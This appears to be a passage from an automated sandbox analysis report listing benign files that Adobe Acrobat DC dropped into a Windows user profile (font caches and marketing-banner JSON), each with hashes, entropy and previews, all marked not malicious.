Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7048

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3564889141268015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJM3g98kUwPeUkwRe9:YvXKXhA2Zc0vtGMbLUkee9
MD5:	80DCCDEE861648ADDDCD9C2E90EAECA5
SHA1:	3B3E34820498E56300D091CC2BA9D370BF95E054
SHA-256:	9A9FE4C47B963E4D9754B4E2A491F0C9B08A961882930D318150F05561BBB8FA
SHA-512:	CA7791A0FABF3288EF84B70E0667B49A8908086623B7B6FB1F32307C937990B6FC64B950AAED5D0BAB0B0559584743B77FB36EAE61ACDE6C32740E68A86723BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303579199024186
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfBoTfXpnrPeUkwRe9:YvXKXhA2Zc0vtGWTfXcUkee9
MD5:	0B57756F4BBE8D8A640E90F035995BD5
SHA1:	A389F0CCFAE3F383D33D38700FF8D5A4C57ED57E
SHA-256:	2F1DB34653190EDB65D0A1E064E08AE3B419F9898D863AF54204A98EE5F8910C
SHA-512:	F990828B5AA75C709D29ED4AEBC5715C8F6C5972FFEB778BC93C290F39B200C001AFD24A3047AE4EF7892C3CCE781DF01FA0A7C135F28DD5D2820EB0C8FA54A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281429292601255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfBD2G6UpnrPeUkwRe9:YvXKXhA2Zc0vtGR22cUkee9
MD5:	A7466A35EE579BD4389A4C3F5122F6EA
SHA1:	88EC8E60D2CF8D6A6E87AE449152CC2DA5A30BC1
SHA-256:	5E17C8EF0490693096E32E32F006FCE735996AEA923DFF6F1A0F42D5B87EA80A
SHA-512:	01047FB0D1FA6205F423FE5D2AA981479C8FF6AF9F73365FA404618954A6C54AADFFB1F8F6EF8ED5B5B140E2E271DD38358027E70FA5869D262F171D9A1501F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34325821077142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfPmwrPeUkwRe9:YvXKXhA2Zc0vtGH56Ukee9
MD5:	1AA3B7B848EF6C9D0F7A08043773671E
SHA1:	3FF20CC1C696141053C6D1E0FB6531A5B843E98D
SHA-256:	7FF6A9B9D04AFD8CAA9A3A737D02A42F03303409F0EF2857541BCE49F6D5628A
SHA-512:	AEAF28C27469D94092E1E7C95537E15BFA5EAB45C46ABE95BA2551A395EFCC67BF3D10C56F67E40E48C5DE16F15D8F3AC6A914FAF4206AEC0A35EB9E2FB4FF2F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6850894069735345
Encrypted:	false
SSDEEP:	24:Yv6XNzvSpLgE9cQx8LennAvzBvkn0RCmK8czOCCSD:YvuKhgy6SAFv5Ah8cv/D
MD5:	74286613ECF4636DCE83A3568057CB21
SHA1:	CDFB00D685AC9F5E38F36EB1C2CE2656C959763F
SHA-256:	402D905E30B5F41F74B028007DAF94FBDEB90E62C746A455D1D453220B890E6D
SHA-512:	58769EBF89EB1008DF118D8A6BA2ED9273C56356B7E1AA0F3C5229F74CA061048ABD35A62AA8241DFDA6FE0BE1A9741BCD65D42B57B076A801042FB9C60EFAF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287934098882094
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJf8dPeUkwRe9:YvXKXhA2Zc0vtGU8Ukee9
MD5:	FA8708976ABE60A1D3014EC1C7A79B41
SHA1:	260A0B90FDFFEE7E52DB3ADAA383C754418A275D
SHA-256:	5372F232A50EC40262906A235AD62E6381F823FF24F91D6DFB595A837826E55B
SHA-512:	297F82D76636A596689C5DA7AC99C97C42D68C48283AC1ACF69BDB307CD1ABCF813445A203287E4DFE1449D9485CC56BB4B4FA98C72D6B31AEA2873193906EBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.293075083711454
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfQ1rPeUkwRe9:YvXKXhA2Zc0vtGY16Ukee9
MD5:	EBBC210F116645BBFE0459C702AA6512
SHA1:	89A4F77974EBAFB68116C63DD7B4AD4E351B6B40
SHA-256:	80EC4AEB85B5045DBCA07E5865C42E87D300236CF59226B8195E65EC04114E1F
SHA-512:	36ECC75F04B0602D67AE9DEA9A1C664BE4E9917D9264EAB074F0D8F0E7C5B5CA3243D1769739647C4C5A85A7EB3EBEDC70C93EA023FC818B0DFEDB95259C7E5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297691630508734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfFldPeUkwRe9:YvXKXhA2Zc0vtGz8Ukee9
MD5:	AA7DC1AEA2B93C794237FAB38187227A
SHA1:	89C6893E845B5B21F7FF0066F2F14F7D3B18FDB2
SHA-256:	8E266238EA3C99DEABF83544083B97F8F64426AD5108E92B390EDAF41FE1DE4A
SHA-512:	D5CF6B0995DB721AF80C94825C4C2F73408F040BBD4961961DE014F2414D792B720CC2B15F3D8A98FABF28AD677096024F69FB6948363956B1147BB55B7BB73D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313657721791341
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfzdPeUkwRe9:YvXKXhA2Zc0vtGb8Ukee9
MD5:	1D1FCDAAC6D987415993AA76DD1A05F0
SHA1:	2825E2AC1DC61D5A0EE6028016CD869D9F19B813
SHA-256:	36270BE83917F512A9407D65D699D210AA7B0CB43891EAE4D19E92B0B0AC92C2
SHA-512:	C9454702FAD928D9127B90A49C27EE0BE7139EA8BB29F958C24F775A72FA8112774795FC103F9A7842098761E5E529F1766F845944FD468D62DA0DD76090D79B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294973045399414
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfYdPeUkwRe9:YvXKXhA2Zc0vtGg8Ukee9
MD5:	1F5130F93F5B900C3F70BC2592205086
SHA1:	EC3D81FDF5A28599CCF176A3A30EBBEDA49E88C0
SHA-256:	2175BE41E1AB219BCEF329D19BBC537942739CCB6BE2921326814E64992F8828
SHA-512:	F15166B7823614F2FD41F4DF527F9662BEDE875575B16211793D727E5FD00BBE4C4B5B09AF71AFC77817A26995BC8AC71BA6ADB8719AAE9C74ACE3FC7EC2AD21
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.280934915500446
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJf+dPeUkwRe9:YvXKXhA2Zc0vtG28Ukee9
MD5:	BDD7AAB91FA8115879D915AE75AA43F3
SHA1:	E9789B17D82B5D4516C1119FDB098DD33B20B407
SHA-256:	F7EAC0F3374B7178D1DB7A95377F8DA1CEC356DD8700C697412DAC303E281EEE
SHA-512:	91797FAE23EA440542379614F4910AA3056460CEF5C52482FD10E7DE682CC7804DCF59D1C91AEE5693115C37BBEF02F4504A2E951BCDBF1F172BABEC976DCD04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2785546925894336
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfbPtdPeUkwRe9:YvXKXhA2Zc0vtGDV8Ukee9
MD5:	D06587B4570744821933E78280117AB5
SHA1:	AC8DEC8E67D07BBD47E82EF52533B6B84F50B5DA
SHA-256:	A27A9ABD2B86282E8DD192D3ECB172B0BBF16AE682756ED3ACCB3FB2FE854B0E
SHA-512:	A91483840FC29E0355DDD026B99CD094DACED2C3805BE79490429CBDD89719B0AC9913D0DBADF552462072A8702877A5A89D19FB7951BA80F10BEE21301D9D63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.283976532754318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJf21rPeUkwRe9:YvXKXhA2Zc0vtG+16Ukee9
MD5:	9815E797DB3D622334C75359028C5E22
SHA1:	CCD1E528F5B76AEDFCB80DB2C5162D15DED2B341
SHA-256:	BE1051A1E4586AB5785D235FDD6E328687A060B6BAAD736EA5764EFEE9531A1A
SHA-512:	70BC2CA9DF4AA44D3C8541F31AFFE23FDECEA66E207405BE944F9E798E1840B245C3E74ED95547C9118BCC8567D36D2F87DAB1DD234494399D1E10DF996EB0EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659934633844637
Encrypted:	false
SSDEEP:	24:Yv6XNzvOamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD:YvuYBgkDMUJUAh8cvMD
MD5:	54B9D0084804A667EEA626B90B91FE00
SHA1:	E990AABDEA6A1DC8D4F2A62172873CC5869DECB1
SHA-256:	DD71A2275C46AFEBEC0E940263912502278A2B2C9150CC3C607972D45CAAE84D
SHA-512:	ED408222C2A35E4D2E5E05974522EED7979356F7A3C73541B6A65DC6A6949047CE87CB36C79DEF4C126CF4682502B0BD8E8EE2796342089670017DB2E2064501
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.258463311315021
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJfshHHrPeUkwRe9:YvXKXhA2Zc0vtGUUUkee9
MD5:	07E7A060A654A0949FAE05CA4DF73404
SHA1:	1FE1C2AABF8352D0A7E8BF4446F7EE3ABBEF52C1
SHA-256:	A2904A2A60C3EB4DF6EB30C0142C4EC507A6B50F22A45D9CCCC76362A78C6D76
SHA-512:	9BBDEFF9E6FABE37C3CD4BAFEF0A062E4EB26E32AA9CC91C9D4FEA4435733E93910CB1FF22C18B6C3EE4B8BD9497027498E7831CF5984C0A2D8C401792075A7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.271312182073867
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQYBkBIKHVoZcg1vRcR0YPxoAvJTqgFCrPeUkwRe9:YvXKXhA2Zc0vtGTq16Ukee9
MD5:	44BA40E8BA082DF4CD800A7AA9FED29D
SHA1:	5229118999CA8E01DE10D83A386200DDAF47B487
SHA-256:	A10E1F308A7A01E8F91468CC01723156A2529B9D1E95DFCF0452A6BD750F23F4
SHA-512:	C773A4B80BF2360B2E8606B84E7BCD2C584C8A1D079106278C54282FE80A94BC990E25B06C9B1040955AE1B8224C96B3B7B12964A36475DBD17A24CF477C23A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"45f6576d-f8df-4af2-bc99-ce26aa31aac3","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729303771,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141203936852818
Encrypted:	false
SSDEEP:	48:Y7bC6Lq0oqiCrA6FDOfZGtPbLMdKOv97x3+:gbCF0oqiChDEGtEAk7d+
MD5:	67399242AF1D826423F5C1EFCA11780E
SHA1:	8168070FC42918C4F0D3945CD8DBA30549B8ADE0
SHA-256:	654CCEEC2B19926D89E392D9C24BA0FF562EF221F5B9AFC13D81B4E324F77298
SHA-512:	E440270FE4BBAAC438D0A04D76B0CE3EA88870A343545D4FC1C06A2671D31E84004518F5869358104008FB03CEB8651EA3BA5513A2CF38FA376D945EF44608F4
Malicious:	false
